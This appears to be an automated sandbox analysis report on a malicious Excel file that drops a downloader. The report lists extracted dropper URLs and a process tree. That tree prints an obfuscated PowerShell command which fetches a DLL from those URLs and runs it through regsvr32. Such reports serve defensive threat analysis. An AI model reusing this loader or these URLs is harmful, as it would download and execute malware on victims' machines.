Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/11/2024, 18:33
General
- Target 7c8395abf7f2970e2d975545dfe39afdeeae89c622eb4100c32a6237f74a2a86.xls
- Size 88KB
- Sample241113-w67fjsxdlp
- SHA256 7c8395abf7f2970e2d975545dfe39afdeeae89c622eb4100c32a6237f74a2a86
Malware Config
Extracted
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ps1
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exe.dropper
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
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exe.dropper
https://1566xueshe.com/wp-includes/z92ZVqHH8/
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exe.dropper
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
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exe.dropper
http://o2omart.co.in/infructuose/m4mgt2MeU/
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exe.dropper
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
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exe.dropper
http://www.ama.cu/jpr/VVP/
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exe.dropper
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
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exe.dropper
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
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exe.dropper
https://edu-media.cn/wp-admin/0JAE/
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exe.dropper
https://iacademygroup.cl/office/G42LJPLkl/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7c8395abf7f2970e2d975545dfe39afdeeae89c622eb4100c32a6237f74a2a86.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
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\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
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-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_wa42j1jd.u11.ps1
bbiwjdf.vbs
memory/4412-20-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-19-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-3-0x00007FFB68170000-0x00007FFB68180000-memory.dmp
memory/4412-4-0x00007FFB68170000-0x00007FFB68180000-memory.dmp
memory/4412-7-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-11-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-12-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-10-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-9-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-13-0x00007FFB66110000-0x00007FFB66120000-memory.dmp
memory/4412-8-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-14-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-15-0x00007FFB66110000-0x00007FFB66120000-memory.dmp
memory/4412-17-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-5-0x00007FFB68170000-0x00007FFB68180000-memory.dmp
memory/4412-1-0x00007FFBA818D000-0x00007FFBA818E000-memory.dmp
memory/4412-16-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-18-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-21-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-6-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-23-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-115-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-66-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-0-0x00007FFB68170000-0x00007FFB68180000-memory.dmp
memory/4412-2-0x00007FFB68170000-0x00007FFB68180000-memory.dmp
memory/4412-138-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-132-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4412-133-0x00007FFBA818D000-0x00007FFBA818E000-memory.dmp
memory/4412-134-0x00007FFBA80F0000-0x00007FFBA82E5000-memory.dmp
memory/4452-125-0x000002222A670000-0x000002222A692000-memory.dmp
memory/4452-141-0x000002222B2A0000-0x000002222BA46000-memory.dmp